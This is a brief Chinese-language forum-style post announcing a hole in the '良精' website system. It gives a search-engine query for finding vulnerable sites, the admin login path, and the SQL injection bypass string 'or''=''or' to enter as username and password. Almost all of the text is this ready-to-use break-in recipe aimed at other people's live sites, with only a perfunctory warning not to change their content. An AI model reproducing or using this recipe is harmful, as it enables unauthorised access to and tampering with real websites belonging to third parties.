良精漏洞啊,大家不要用了,几乎后台全可以进 百度里面搜索: inurl:Went.asp 例如:http://www.XXX.com/Went.asp 后台管理员为http://www.XXX.com/manage/login.asp 然后用户名和密码都是:'or''=''or' 大家看下,进了不要改人家内容啊! 记住,不要改人家内容啊,否则后果自负啊 (我在网上看到的)